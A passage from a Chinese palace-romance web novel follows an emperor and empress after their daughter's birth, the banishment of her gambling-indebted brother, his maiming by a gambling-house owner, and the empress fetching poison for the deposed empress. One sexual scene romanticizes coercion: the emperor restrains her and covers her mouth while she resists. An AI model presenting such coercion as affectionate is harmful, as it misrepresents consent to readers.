屋内的人皆欣喜万分,小孩很快被擦洗好身子,抱到元衡面前。 他怔怔站在门外,纵使已经学了好几个月怎么抱,接过那软绵绵的小团子,还是小心翼翼,生怕碰坏了。 “恭喜陛下,是个小公主。” 乳娘抱 来小公主,本也害怕这位帝王会失落,毕竟是第一个孩子,先前同朝臣闹成那般,还差点丢了命,想必皇帝也是期待这胎能立个太子的。 乳娘悄无声息多瞧了几眼,却在那位帝王眼中瞧到了泪光。 “公主好…公主好…”元衡喃喃两句,“今日在这里的,全都重赏。” 他低头看向那刚出生的小姑娘,小姑娘还在挤眼哭着,红皮未褪,也看不出好不好看。 这是他和皎皎的孩子。 元衡刚弯起一个笑容,却又收起。 他抱着小姑娘进去,产房内的人各忙各的,她安安静静平躺在床上,额上的发全湿了。 槿儿正在给她擦汗,太医刚诊过脉,见皇帝进来,行了一礼,“娘娘并无大碍,只是早产耗费精力,还需静养。” 元衡悄悄坐在她床边,道了声“赏”。 “谢陛下。” 太医退下,元衡的视线未曾离开她半分。 太医说她没事,想来是折腾一晚上太累,睡着了… 怀中的小姑娘哭声渐小,像是哭完了委屈,元衡低头看了看小姑娘,轻声问乳娘,“她看过孩子没有?…” 乳娘道:“姑娘看过,还笑了呢。” 元衡抬起头,眼中蕴有惊喜,他轻轻拍着襁褓中的姑娘,嘴角浮现出浅浅的笑容。 一切似乎都变得静好。 他让乳娘将孩子带下去,在床边等她醒来。 到后半夜时,却又忍不住去想自己刚出生的小姑娘。 他叫来乳娘陪她,自己去了隔壁的小房子。 小姑娘正醒着,四肢乱踢,就像在她肚子里那样。 小姑娘的乳娘是提前找好的,出自寒门钱氏,钱嬷嬷整理好襁褓,见到元衡行了一礼。 元衡坐在小凳上,同那小姑娘对视。 小姑娘还没有睁眼,像是有用不完的力气,不过一会儿那襁褓又散开了。 元衡替她轻轻掖了掖,问道:“公主一直醒着?” 钱嬷嬷道:“小公主前些时候睡下了,才醒没多久。” “小孩子就是这样,睡的长,醒的却也多。” “你先下去,明日别忘了去领赏。” 钱嬷嬷行礼,出门时看了看那位帝王。 皇帝穿着常服,似是累了,托着下颌轻摇小公主的摇床。 不像是位帝王,倒像是普通人家的妇人哄小孩睡觉…… 从古至今,这么在乎公主的,约莫也只有这位皇帝了。 听说那赏金,每个人都有足足百两银子…… 元衡在屋里陪着小公主,将孩子哄睡着,自己也困得合上眼睛。 不过一会儿,却是又被吵醒。 乳娘到了消息来,说是她醒了。 元衡立刻站起身来,就要往门外走,可竟是不知道自己一个人两手空空,该同她说些什么。 在略微往前想一点,便是想到她为何会忽然早产,想了一晚上孩子,那虞氏的事,他还没有想好怎么解释。 元衡又慢悠悠地走到床前,沉默了许久,伸出手去抱刚睡着的女儿。 小姑娘没有闹太大脾气,可终归手脚动了动。 元衡轻声哄,“萦芑乖,咱们两个一起去看阿娘,好不好?” 第107章 第一百零七章“你要不要抱抱她?”…… 元衡走进来时,岑璠正静静平躺。 她看着床帐,即便他走的时候刻意发出一些哄女儿的声音,也没有转过头来。 元衡轻轻瞄一眼她,继续低头哄着那个小姑娘。 不过小姑娘似乎也不用怎么哄,被他抱过来的路上摇摇晃晃的,张着小嘴又睡着了。 现在在他的臂间睡的正香,连口水都流到了嘴边。 元衡缓缓走到床边坐下,犹豫片刻后,手臂伸出去些,轻轻开口,“你要不要看看她?” 岑璠听到声音,缓缓转过头去,她脸色还有些白,满眼的疲惫。 她的女儿正在襁褓中睡着,鼻子和眼睛都有了形,不知道梦到了什么,咂巴了一下嘴巴。 血脉相连的生命,是那么的鲜活和具象。 岑璠莞尔一笑,眉眼间温柔如水,伸出手来,想要碰碰她的鼻子。 乳娘将她扶起来,元衡坐近了些,将孩子抱给她看,“你看咱们的姑娘,多像你…” 岑璠倒是看不出,这孩子分明还没有长开,鼻子和脸都小巧玲珑,看不出像谁。 她的葱指点到小姑娘的鼻头上,那皮肤嫩得像一块儿豆腐,怎么看都看不够。 “你要不要抱抱她?”元衡轻声问她,“你还没有抱过她吧,朕来教你…” 岑璠不自觉伸出手去,元衡立刻将臂中的闺女塞给了她,连岑璠反驳的机会都不给。 岑璠倒不是不会抱,只是没他抱的好,怀中的团子也挑剔,换了个人抱便像是要醒来。 元衡握住她的手腕,帮她摆出正确的姿势,“这样抱…” 岑璠也在极力回想自己的阿娘怎么抱孩子,可一回忆,便不免想到珝儿。 她嘴唇渐渐抿起,眼神也变得黯淡无光,抱好小姑娘后愣在那里一动不动。 元衡察觉到她的一些异样,也没打算回避那些已经发生的事,声音也变冷了些,“皎皎怎么了?” 岑璠问道:“陛下打算怎么处置珝儿?” 元衡沉默一瞬,捂住她怀中小姑娘的耳朵,面色如霜:“皎皎,朕不想放过他…” 他一想到她生孩子受了那么大罪,恨不得把那些人都杀了。 黄珝是那个罪魁祸首,即便是她再三维护的弟弟,他也想杀了他。 他咬紧牙关,声音愈发声音,又重复了一遍,“朕真的不想放过他…” “那便听陛下的。” 元衡抬起头来,似是没听到她说什么。 岑璠低下头,决绝道:“陛下也不必将他留在宫里,就当我没有这个弟弟吧。” 话一出口,便是元衡也愣了愣。 “陛下想问什么?”她说这话时,声音都变了形,一滴泪水滴到了怀中萦芑的脸上。 小姑娘似是感受到什么,那滴泪落到脸上时,放声大哭。 岑璠伸出手来,轻轻抹掉小姑娘脸上的那滴眼泪,“不哭…” 那哭声却是越来越大,小孩子就 是这样,一旦哭起来,便很难哄好。 岑璠束手无策,急得眼泪又要流下来。 元衡看不下去,抱走了她怀中的姑娘,轻轻拍她,却也哄不好。 “兴许是饿了。”元衡冲她笑了笑,道:“朕去把孩子交给嬷嬷,不用皎皎来喂…” 元衡将小姑娘抱去了暖房,袖子上都沾上了眼泪。 他换了件外裳出门,向韩泽交代了些什么,去了太极殿旁的一处偏殿。 他坐在椅上,不一会儿珝儿便被带了过来。 元衡正闭着眼。 一个晚上守着她,小姑娘又哭闹,确实是累。 “朕不会救你。”待到珝儿跪下,元衡冷漠开口,“想要让赌场的人放你一马,不如叫虞氏把你输的银两填补上。” 珝儿进宫已有两日,直到现在,他都没有见过岑璠。 准确来说,他的皇帝姐夫只是把他接进了宫,却没有管他,连衣裳穿得都还是赌场出来的那套。他自己不会束发,头发也是乱糟糟的。 他似是对元衡将他扣下这事有些委屈,“我阿姊呢?…” 元衡睁开眼,低眼看向他,语气中没有一丝人情味,“你还敢提你阿姊?” 珝儿抬起头,同元衡对视一眼,压迫感自上座扑面而来,说话都不利索,“阿姊…阿姊她怎么了。” “你阿姊知道了你的事,胎气不稳,昨日难产,你可知道?” 珝儿愣了一瞬,想说的话哽在喉咙里。 “阿姊她…怎么了?” 元衡不厌同他再说一遍,“朕说你阿姊她因为你早产,被折磨了一日,险些丧命。” “我想见我阿姊…”珝儿眼神慌乱,跪在地上,似有些跪不稳,喃喃重复着,“我要去看阿姊…” “孤不会让你见她。”元衡打消了他的念头,不甘心地又补了一句,“你阿姊也不会救你。” “阿姊…不想见我?” 是了,是阿姊不想见他。 眼前的皇帝对他阿姊宠爱万分,若不是他阿姊不人想认他,皇帝绝不可能对他见死不救。 元衡紧接着便揭破他的伪装,“你有几分是担心你阿姊,又有几分是担心你自己,你自己清楚。” “自私自利,软弱无能,你阿姊是醒悟的太晚。” 这些难听的话,珝儿一辈子也不曾听过,他极力想要反驳,最终却是眼泪先流了下来。 他露出那般委屈的神情,元衡觉得他无药可救,“你滚出宫去,从今往后,朕不会再让你踏入宫门半步。” 珝儿未再说什么,转身走出房门,步子极快,踏得也极狠,满脸通红,眸如黑墨,凝结起的是浓浓怨气。 他步子越来越快,心中的怨念也愈发强烈。 他的阿姊竟这么心狠,他是她的亲弟弟,那赌坊还不上钱便是要命,她竟是因为他贪玩便要嫌弃他,见死不救。 他目不斜视地走,满脑子都是嘈杂的怨声,连迎面来了人都不曾发现。 迎面来的那人,狠狠照他脸上来了一拳,珝儿感觉牙都松了些,脑袋听到一阵嗡嗡声。 他捂住口鼻,口腔中泛起血腥,一股腥咸从牙缝里钻出来。 珝儿低头,吐出的是一股血沫。 “你方才那是什么神情?你在想什么?” 珝儿好不容易才看清眼前人。 他认得,那是他阿姊身边的护卫。 “怎么?我阿姊让你过来的?”珝儿放下手,挺直了身子,“你跟着我阿姊,如今倒也算飞黄腾达,只不过为她这样的人卖命,你也不会有好下场!” 墨群手直颤抖,蓦地拽起他的衣裳,“你再说一遍?你阿姊对你那么好,你还有没有心!” “她对我好?她哪里对我好?” “你!若不是想着你,她怎么会放过虞氏,若不是她,你以为虞氏倒了,郑家那种大族还愿意收你为门徒?” “她想让你一门有安生立命的本事,想让你不靠虞氏也能自己活下去,她为此甚至将自己都舍了,你觉得她哪里不好?” 珝儿不肯认,他大声吼道:“她想让我不靠别人?那她自己呢?也只不过是依仗皇帝罢了!若不是皇帝宠爱她,她有什么本事来施舍我,管教我!” 墨群听后一愣,他甚至不敢相信刚才自己听到了什么。 他低下头,沉默片刻后放开他。 “你站好了。”墨群将腰间的刀递给他,“来,你拿着这把刀,和我打。” 珝儿这辈子从未拿过刀,就算是和赵巍学武的那几个月都不曾真的用过刀。 他一时犹豫,墨群的拳头却已经袭了过来,直朝他的肩而来,“你说你阿姊是靠陛下,那你知不知道,她靠自己一双丹青手,一幅画也能赚到银两。这世上做官有做官的本事,做将帅有将帅的本事,纵使是你那没用的父亲,也作得一手好诗,长了一副好相貌,你呢?你有什么?” “娘娘觉得你不爱读书,便给你找了个好师傅教你武功,可你念书念不进去,整日总想着那些歪门邪道,习武又觉得辛苦,不肯下功夫学,做什么都是半桶水晃荡!” 墨群一句句话不断,拳头不间断地打在他身上,珝儿吃痛,想要抵挡,却怎么也防不住他。 他着急,无力尖叫,最后捡起了地上的剑。 可刚一握起那只剑,墨群便扭了他的手腕,那把剑抵在了他自己的脖子上。 墨群露出了讽刺的笑,“便是御赐的宝刀送到你手上,我这样无父无母的莽夫,赤手空拳,也能打得过你。” 珝儿停止了叫喊,墨群一用力,便将他搡倒在地。 “好高骛远,自诩不凡,却又不思进取,懒惰无能,这才是你。” 墨群说完这句话后,便离开了。 剩下有几个宫人围观了一切,竟是无一人阻止,再看这位皇后娘娘的胞弟,皆面露鄙夷。 珝儿被赶出宫,也无马车接应,好在他在皇城长大,倒是知道回家的路。 纵使再不去想,刚才那侍卫的话还是时不时回响在他耳畔。 “见了鬼了。”珝儿边走边暗暗腹诽。 话音落后没多久,却是有一群人堵在了他面前。 那领头的人是赌坊的坊主,珝儿认得,脸色顿时苍白了几分。 “不是很有能耐吗?”那坊主上下扫了他几眼,嗤笑一声,“怎么这个样被宫里赶出来了?” 珝儿下意识向后退了两步,回过神来,又站定了脚步。 “我告诉你别乱来!否则我现在就进宫,把你告到皇帝面前。” 坊主不屑一顾,斜嘴一笑,“骗谁呢?皇帝若是想管你,你还会一个人在这儿?还被人打成这样?” 说罢,坊主使了个眼色,便有人将他往巷子拖。 周围并不算人少,甚至算是闹事,珝儿扯着嗓子喊道:“你们干什么!你们要杀人,杀人是触犯律法的,我可是皇后娘娘的弟弟,你们想死吗!” 坊主不为所动,“欠人银子也是犯法!更何况这是赌坊的规矩,欠债还钱,还不了就留命!” 坊主将他提起来,像是提一只鸡一样,压低声音,“皇后娘娘的弟弟又如何?老子开这赌坊,背后肯定也有人。” 他小声说完这句,便是又露出一副要吃人的表情,怒喊道:“这条街上,没人不知道我这赌坊的规矩!老子今日放了你,这赌坊还开不开了!” 珝儿彻底吓破了胆,双唇颤抖,没有一点血色。 他被人拖了进去,腿都是软的,待到人放手,扑通趴在了地上。 那白花花的刀子亮出来时,珝儿脑子一片空白,终于低头认错,“我错了!我可以还债,你叫我做什么都可以…” 这种话坊主听得多,他握了刀子,却生起犹豫。 倒不是因为那小子说的话。 这到底还是皇后货真价实的亲弟弟,皇帝和皇后现在不认他,不表示以后都不会记得。 万一皇后哪天记起自己有个弟弟,看到他变成太监,说不定要记恨上他。 皇后受皇帝宠爱,虽然只诞下一个公主,可皇帝不纳妾,将来肯定会有儿子,位置再稳当不过。 可他刚才都当着那么多人的面说出去了,什么不做,他面子往哪儿搁? 想到此处,坊主刀移了位置。 他踩了珝儿的手腕,刀子落下,一根手指留在了地上,随后巷子里回响出一道惨叫。 第108章 第一百零八章满满 元衡回去时,岑璠正在床上闭着眼。 房内熏了香,血腥味早已散去,床单也换过,只闻得到一股清新的花香。 太医说她在月子里需要静养,她生这个孩子,耗费了太多精力。 可元衡猜得到,她根本没有睡。 他坐上床,轻唤道:“皎皎?” “嗯?”岑璠应了一声,鼻音很重,可到底还是搭理了他。 元衡道:“皎皎,朕将他赶出宫去了…” 墨群的事他刚才听说了,那些没良心的话他对着她说不出口,只是愈发坚定自己将珝儿赶出宫是再正确不过的做法。 岑璠道:“陛下不必告诉我。” 她背对着他,元衡看不到,却听得出她哭了。 他躺在床上,自背后抱住她,“皎皎若是不想睡,朕把萦芑再抱过来,咱们多陪陪她…” “陛下惯会说好听话。”岑璠转过身去,眼睛都是红的,“她才刚睡下,陛下便要将她叫起来,她又不是什么小猫小狗…” 元衡抿了抿唇,一时也觉得愧对小姑娘。 “那朕在这里陪你,等她醒了再抱过来。” 他轻轻躺下,揽过她的腰,“她的名字是朕起的,皎皎给她起个小名吧…” 岑璠在他怀里,思考了许久。 “满满…”她轻声道:“就叫她满满吧。” 圆圆满满,倒也算是个好寓意,元衡连连点头,” 就叫满满。” “咱们一起把她养大如何?” 他将她揽紧了些,就像过去无数个日夜一般,他也知道趁人之危是卑鄙,可他还是忍不住要抢占这点便宜。 “你不用太操心,孩子有嬷嬷照看,不用你来喂,咱们一起陪她长大,就当作多了个亲人,嗯?” 她似是想都没想,点头道:“好啊。” 和赌气似的。 元衡半信半疑,可到底也不敢再试探什么。 总归孩子都有了,他们的姑娘那么可爱,她又向来心软。 不过元衡不曾想,她说的这些话竟是半点不掺假。 她一门心思,似乎真的都扑向了那个孩子。 小姑娘醒的时候被抱进寝殿,此后再睡着,就再没被抱回去过… 元衡干脆叫人将小姑娘的摇床搬进了寝殿,她轻轻推着摇床,似是心不在焉。 “让她回去睡好不好?”元衡问道。 岑璠缓缓摇头,“就让她在这里吧。” 元衡愣了愣,耐心劝道:“她晚上会醒,你自己还要休养,她会吵到你的。” 岑璠坚持将她留在这里,“小孩子认人的,咱们陪的少了,她会和咱们不亲近的…” 元衡嘴唇抿了抿,由着她去了。 宫里带孩子的嬷嬷也从未见过有皇子公主一生下来就养在身边的,小孩子娇气的很,晚上肯定会醒… 皇帝和皇后胡来,可终归只是因为太年轻不懂这些,不是什么荒诞的大错,宫中也无人去劝,只派人在殿外守。 夜晚熄了灯,殿内静谧漆黑,不知何时,忽然响起一阵婴儿的啼哭声。 那哭声如雷声贯耳,直往耳朵里钻,元衡下意识坐了起来。 岑璠也睁开眼,“她怎么哭了,是不是饿了?” 她想要下床,却显得费力,元衡道:“朕过去看看她。” 元衡趿上鞋,点上灯走到摇床前,只看到小姑娘张嘴大哭,哭的满脸通红。 他将姑娘抱起来,轻轻摇晃,叫着她刚起好的小名,“满满不哭,不哭呀…” 岑璠从未见过元衡如此,哄起孩子来像是换了个人一样。 她撇开眼去,那刻意放轻的声音依旧萦绕在耳。 只是忽然间,那声音停住了。 满满的哭声却骤然刺耳,几乎是扯着嗓子喊,岑璠听的一阵心梗。 她转过头去,却是愣住。 高大的男人直直站在那里,袖口上不明不白多了道水渍,连手上都有,小姑娘的襁褓上洇染一片。 他脸上的那点温和似是僵住,岑璠深吸一口气。 窗外已是有宫人来问,“陛下娘娘,小公主起夜,老奴先把公主抱出来吧…” 这话说晚了片刻,岑璠看向他,他并没有恼羞成怒,只是冲她笑时有些尴尬,“朕出去,让嬷嬷哄好再把她抱回来…” 他说完这句,便又将小姑娘放回摇床里,自己穿上衣裳,一层又一层裹住才又将小姑娘抱起来。 直到换过襁褓,再喂小姑娘喝下乳水,元衡还没回来。 再回时,他全身都净房洗了个干净。 乳娘已经退了出去,只有她坐在胡椅上,呆呆看着摇床里的小姑娘。 元衡替她拿了件衣裳,披在她的肩头,“皎皎怎么下床了?” 岑璠回过神来,自己穿好衣裳,“睡不着,想多看看她。” 她眼睫微颤,“她怎么比寻常的孩子小许多…” “许是还不足月…不过皎皎放心,朕问过太医,满满在你肚子里养得很好,嬷嬷这个月哺乳前会喝药,会没事的。” 岑璠却是只注意到她会喝药,声音有些哽咽,“对不起…” “我要不要亲自喂她,这样她会对我更亲近些?” 元衡算是明白,珝儿伤她是有多深。 她不像他没有良心,受不得亲人一而再,再而三的欺骗背叛。 “不是皎皎的错,满满交给乳娘去喂便好,你只管养好身子便是。”他将声音压低些,劝慰道:“你是她的阿娘,她怎么会同你不亲近,皎皎不也有乳娘?” 岑璠想说,她其实同自己的阿娘不怎么亲近。 她的阿娘同她一样,怀她时是头胎,生的艰难,没有乳水能喂她,那时岑氏是富户,便由乳娘养她长大。 珝儿生下时正值战乱,家里备不了乳娘,便由阿娘亲自喂养。 她常常在想,是不是因为这个阿娘才同她不亲近。 她明明要比珝儿听话许多,珝儿不喜欢画画,而她却听母亲的话,可母亲不曾说过珝儿的不是,反倒常常说她贪玩所以画不好。 去虞家时,阿娘只将珝儿带了过去,将死之时,却将仇恨全部抛给了她。 母亲生前只留下了报仇这一个愿望而已,弥留之际,连一个关于她的嘱托都没有。 是因为这个,还是因为珝儿是个男孩? 岑璠自己不清楚,也不想去弄清楚其中的答案。 如今她自己也有孩子了,也是个小姑娘… 这尚且是第二日,她胸口还隐隐带闷痛,听说妇人产后不去喂孩子,乳水很快便会慢慢收回去。 岑璠道:“我想自己喂这个孩子…” 这宫中有没有先例元衡不知道,他只知道先帝的后宫,嫔妃为了能尽快侍寝,都不会亲自喂养,就连他都不例外,一般的大户人家也都会请个乳娘。 她是不是对于这个孩子过于在意了? 元衡不知道自己该不该高兴,他先前想要的,似乎就是她能一门心思在孩子身上。 可又不仅仅是这样。 “我能喂她,我喂她能安心些。” 她像是再求他一样,元衡便也顺着她,“皎皎想自己喂,那便喂吧,都听你的。” 他说罢便站起身脱衣裳,将她抱回到床上,刚才的狼狈早已被洗净,那层沉香便愈发浓郁。 一番折腾下来,已经到了后半夜。 元衡这两日都没处理过朝政,做了两日人父,明日说什么都得再做回皇帝了。 他满心疲惫,刚闭上眼却听岑璠问道:“陛下可还记得曾经答应过我的事?” 元衡一时还真想不起来自己答应了她什么。 岑璠提醒道:“宣光殿里的废后还活着。” 元衡话音顿了一瞬。 “陛下可还记得?” “当然记得。”元衡立即答道:“等到你出了月子,任由你处置。” * 小姑娘满月那日,宫里邀请来了不少人,大多数都是皇室亲眷,就连五公主都来了。 岑璠的亲人,如今只剩下彭城的那些人。 元衡虽是不喜欢岑家那些亲戚,可这满月宴就是图个人多祝福多,这样他的小公主会更有福气。 元衡这么想,便也派人将她舅舅和舅母也接了过来了。 至于那将她喊作媳妇的表兄,元衡还记得,不曾请来。 郑伊湄这些日到了华山郡,也给刚出生的小姑娘送来了金项圈。 当初岑璠走时,舅母倒不曾想过岑璠有这般造化。 当今的陛下她在彭城时便见过,龙章凤姿,一表人材,发生的事虽是不怎么愉快,可到底让她印象深刻。 没想到自己看着长大的姑娘能入王府的门,如今跟着晋王飞黄腾达,竟是做了尊贵的皇后。 毕竟曾在一个宅院里待过,岑璠倒也给面子,将舅母请进了自己住的含章殿单独说话。 她怀中的小团子褪去了一身红皮,皮肤愈发白嫩,像是块水豆腐一样,眉眼虽看不出来是什么模样,可精致秀丽,挑不出一点点毛病。 不过想来也是,父母都是一等一的好看,就是乱长,也不会难看到哪里去。 小姑娘早就睁开了眼睛,水灵灵的像两颗葡萄,这孩子哭的时候大声,不闹的时候又很爱笑,如今看到岑璠手中的金项圈,在她怀中咯咯直乐。 岑璠将那项圈拿远了些,项圈上挂了一串小铃铛,她故意摇了摇,小姑娘咧开嘴,笑得更欢了。 “你怎么这么高兴?你父皇给了你这么多串,还没看够?” 叔母瞧了瞧那金项圈,金光闪耀的,一 看便是好东西。 就这样的东西,送给孩子本来就只是图个吉利,寻常日子又不怎么能带,皇帝竟给了好几串。 含着金钥匙长大,当真是命好福大。 只可惜了,再怎么尊贵,终究是个公主。 舅母心底惋惜,问道:“娘娘身体恢复的如何?有没有打算再给陛下生个小皇子?” 第109章 第一百零九章就你一个,你说好不好呀…… 岑璠低头看了看小姑娘,学着元衡所做,捂住小姑娘的耳朵。 “还没有。”岑璠说道:“先把她养大再说吧…” “陛下也愿意。” 岑璠颔首,小姑娘正在朝她看,她弯起一个笑容,轻轻哄道:“阿娘就你一个,你说好不好呀?” 舅母看得出她不想回答,叹了一口气,没再问下去。 待到人来多了些,元衡找到她,从她手上抱过了那个糯米团子。 满满见到元衡,便是笑得更欢了。 舅母目光凝在元衡身上。 她这辈子是第二次见皇帝,上一次这位皇帝对着她,还要打要杀的。 这次再见,连孩子都会抱了,不仅会抱,还抱的很熟练… 小孩子通常怕生,她刚生完那阵,家里的男人别说抱孩子,站在儿子面前,儿子都要嚎两嗓子。 而眼前这个小公主,一点都不怕皇帝,不仅如此,还不老实地伸出手要去打自己的父皇。 元衡伸出食手指来,挡住满满就要挥来的小拳头,轻声说了句什么,那小姑娘当真不闹了。 这孩子莫不是皇帝自己放在身边带? 舅母一时纳罕,莫说是皇帝,就是寻常男人,也少有将女儿放在身边养的。 元衡注意什么,一下下拍着怀中的小团子,目光忽地扫向她,多了几层冷意,像是外面裹的霜似的。 舅母心里一颤,回想一番,便先跪地行了一礼,“民妇不懂礼数,还未拜见陛下,陛下见谅。” 元衡未说她有过,可到底也没说什么客气话,冷声道:“起来吧。” 他目光转向岑璠,转而便收起些锋利,舅母竟觉方才是自己看错了,就连他怀中的小姑娘都张着嘴,像是看愣了一样。 “人都来的差不多了,咱们过去吧?” 岑璠点头,拿起床上的那顶小帽子,给晨时刚剃好发的满满戴好。 如今已至冬日,又一个年关将至,她出了月子,昨日沐浴焚香,身上带了一股清香,隐隐夹杂着一点乳香。 她没有穿那厚重的礼服,只一身竹青色扎袖长衣。 她在怀孕的时候显怀便晚,到最后几个月肚子到底也不算太大,这一个月来有太医调养,终归恢复的也快。 元衡拿来一件白狐裘袄,披在她身上,宽大的长袍遮住了她的身形,显出身子高挑,还显出几分成熟的韵味来。 他揽了她过来,另一只臂托着小姑娘。 他的一切,仿佛都在这儿了。 寒冬冰封了温度,前几日下的一场大雪尚在枝头,前些时日紫芯挂在树上,给小姑娘祈福的红带还在风中飘扬。 瑞雪兆丰年,想来是个好兆头。 就像一场梦,比他梦到的那梦还要不真实,还要温暖… 他将她揽近了些,宽大的肩替这对母女挡住了背后而来的凛风。 满满一直被元衡抱到了东堂。 席上已是宾客满座,见到皇帝抱着孩子,俱是一阵沉默。 满满养在含章殿,这是第一次被带到皇宫的地方,这太极殿的东堂平日用来设宴,比起含章殿更加金碧辉煌。 一阵咯咯笑声,打断了满堂寂静,满满在元衡臂中愈发不安。 元衡没去开口哄她,只轻轻握住她的小手。 若是照平日那个哄法,他这个帝王怕是真的要威严扫地。 岑璠见状抱来满满,站起身来,抱给元衡的那些亲戚看。 这孩子每日见人见的多,也不怎么怕人,见到生人时只是收起些傻笑,装作认真的样子,左右转头认人。 在坐的都看得出两人对小公主的宠爱。 广陵王一死,皇室其他几支不成气候,只得依靠现在的帝王,便是变了法地夸。 夸来夸去,小辈便是犯了禁忌,“这孩子比三叔家的女儿长得还要好看。” 元衡的三叔,正是造反的那位广陵王。 元衡低下目光多看了眼那小辈,倒是未说喜恶。 长辈却狠狠打了一下,“瞎说什么,你哪儿有什么三叔。” 这一打不要紧,在岑璠怀中的小姑娘却被吓着了了,一下子变脸,趴在岑璠怀里放声大哭。 帝王刚才并没有在意,这下却是真的冷了脸。 满满抓紧了岑璠的衣裳,一旁的嬷嬷见了,就要接手,小姑娘却是越哭越凶,连碰也不让碰。 元衡见状手穿过小姑娘胳膊下,轻轻抱起来。 就准备亲自哄时,小姑娘却低头,像是想抓什么东西。 元衡顺着她的视线看过去,单手托住她,先摸上自己的腰带,看了看她的反应,而后摸上腰间那柄尚方宝剑。 “想要这个?”他问道。 小姑娘还不会说话,但显然是想要,呜咽出声。 元衡二话不说,取下了自己腰间的宝剑,小姑娘紧紧抓住,满脸通红。 “满满想要,便送给满满怎么样?” 或许皇帝没有注意到自己说什么,可其他人都听了个清楚。 那把尚方宝剑,乃是宫中工匠特地为皇帝打造,宝剑上刻有龙纹,并不是普通的宝剑,见宝剑如见帝王。 皇帝要将这把剑送给小公主。 席间不少人因为小公主的哭尚且腿软,听到帝王这句话,不敢多试探,连连点头,“公主殿下生来便敢执剑,将来必有大作为…” 元衡听言,不置可否。 这件事无人再提,小姑娘摸到宝剑后也不哭闹了。 嬷嬷拿了帕子来,元衡抹掉小姑娘脸上的眼泪鼻涕,小姑娘又安静下来。 宴席结束后,两人一起回了含章殿,小姑娘目光又聚在岑璠的脸上,像是在笑。 两人陪这个小家伙陪得多,几乎知道了人这个孩子想要做什么。 她应该饿了。 这孩子饿了便会朝她笑,可只要多饿一会儿便要哭闹,是可爱,可到底也闹人。 她进了内间,元衡抱着满满跟进去。 岑璠先前喂满满时,有刻意避着他,可有一次他回来的早些,便是撞见了。 之后她便也不避讳什么了。 岑璠解开衣裳,元衡将女儿抱近些,小满满闻到味,鼻子动了动,紧接着凑了上去。 元衡就这么直愣愣的盯着,一时倒真有点好奇她身上是什么味道。 岑璠受不了他的目光,转过身去。 小姑娘用力吸吮,不过一会儿却像是累了,手还扶在她胸口,闭上了眼睛。 “她是不是睡着了?” 一道耳语自后 方响起,岑璠吓了一跳,连忙转过头。 元衡抬起眼,一双眼中墨色浓郁。他接过她怀中的小姑娘,抹掉她嘴边还挂着的残渍,轻轻将小姑娘放回自己的床。 岑璠脸上烧的火烫,让槿儿拿来帕子,轻轻擦拭,若无其事地问道:“陛下真的打算将这把剑给满满?” 元衡让槿儿先下去,下颌搭在她的肩膀上,“朕没有说笑。” “咱们的满满就是想要玉玺,朕也能给。” 岑璠睁大了眼睛,“你…” “皎皎,朕都想好了,咱们不要孩子了…” 她生满满那样艰难,险些连命都丢了,她们母女两个的一切,他冒不起丝毫的风险。 元衡道:“朕没有说谎,朕都想好了,朕会在活着的时候把皇位送给她,若他们都反对,朕又阻止不了,就让六弟去当这个皇帝,到时候带着你们去北地隐居,也挺好的…” 岑璠没有想到,这样的话会从他这样的人嘴中说出来。 他向来对皇位执着,又对子嗣执着,怎么会有这种离经叛道的想法。 岑璠一时觉得有些看不透他,也不相信他。 他过去也说过不让她生,可最后呢?他还是把她骗进了宫里。 用那种卑劣的手段。 “皎皎不信?” 她的所有心思,仿佛都暴露在了这个男人的面前,岑璠微微回头,他趁机在她的上唇轻轻啄了一下。 岑璠身子一震,慌不择路地转过身,拢住自己半开的衣裳。 他自身后握住了她的一只手腕,将一只香囊放在了她的手里,“这是宫里的好东西,和你寻来的香囊一样,只不过是对男子有用,皎皎往后想挂在哪里就挂在哪里。” “你若不相信,朕现在就来帮你试试如何?” 岑璠只觉得不堪入耳,压低声音,可依旧听得出语气中的急迫,“你在说什么诨话…满满还在这儿,疯了!” “她睡觉你又不是不知道,听不到的。” 岑璠觉得荒唐,想要挣开,却不敢发出太大动静,便是被他死死捉住。 忽然便觉得有硬物抵在了她的后腰上。 元衡一声轻笑,手向上,猝不及防捏了一下。 岑璠整个身子都僵住。 “又脏了…”元衡问道:“她天天都要喝,朕也想知道,是不是真的很好喝?” “下流。”岑璠忍不住骂了一句。 元衡不恼,倒也知道如何撩拨,手指轻轻划过那对清晰可见的琵琶骨,勾开她的衣裳,“朕就是下流,皎皎又不是第一日知道。” 他竭尽所能,在她的身上留下痕迹,在她出声时,捂住了她的唇。 帘幔将热烈旖旎和小姑娘的美梦隔开,直到小姑娘再醒时,都没有人听见。 满满在摇床中自己玩了一会儿手指,边玩边发出声响,却发现没有人搭理,忽然张嘴大哭起来。 床幔后的那点声响便彻底停了。 床榻上窸窸窣窣,元衡先下了床榻,他没有去看小姑娘,而是叫来了嬷嬷。 “先把她抱走吧。” 嬷嬷心下一惊,这公主还哭着,皇帝看到向来不忍心,都是自己亲自哄,这是怎么了? 嬷嬷不敢多问,抱了小姑娘,那姑娘很是挑剔,被抱起来后,哭的上气不接下气。 “公主应当是饿着了,娘娘——” “嬷嬷先抱下去喂吧…”帘幔内的声音打断了嬷嬷要说的话。 岑璠声音顿了许久,才又道:“我现在喂不了她…” 嬷嬷一时纳罕,多看了眼皇帝,便是发现皇帝身上的衣裳松垮,像是刚穿上去的。 嬷嬷没再说什么,将公主往上抱了抱,出了殿门。 * 小姑娘隔日才被抱回来。 昨日嬷嬷将满满抱走后,他又来了一次,动静并不算小。 今日早上,并未有人进殿叫她。 满满被抱来时,正是该哺喂的时候,可她的乳水还不是很充盈,眼瞧小姑娘费尽力气都喝不到,急的要哭出来,只能又交给嬷嬷去喂… 小姑娘被放在摇床里,醒的时候越来越多,如今皮肤也愈发白皙,五官似乎也能渐渐看出他们的影子。 “阿娘今天喂不了你。”岑璠轻轻一点小姑娘的鼻子,道:“要怪便怪你父皇…” 她带着怨念,说完这半句,却又觉得不该同自家姑娘说这些,停住话语。 她想起自己该做的事,不再沉溺其中,站起身来,让嬷嬷留在屋里看好公主。 槿儿和乳娘进来给她梳头,岑璠将凤印交给二人,“让其他人进来梳吧,你们去太医院,就说我想要一瓶毒药,毒性越烈越好。” 槿儿和乳娘面面相觑,岑璠道:“放心,不会有人拦你们的。” “乳娘拿上东西,随我一起去宣光殿,看看那位废后吧,也是时候做个了断了。” 第110章 第一百一十章仇报了,随朕回去吧。…… 乳娘和槿儿要来了一瓶鸩毒。 就如岑璠说的那样,太医院的人听说二人来取药,并未惊讶,甚至连问都没多问半句。 岑璠带了那瓶毒药还有白绫,穿过永巷,一路向宣光殿而去。 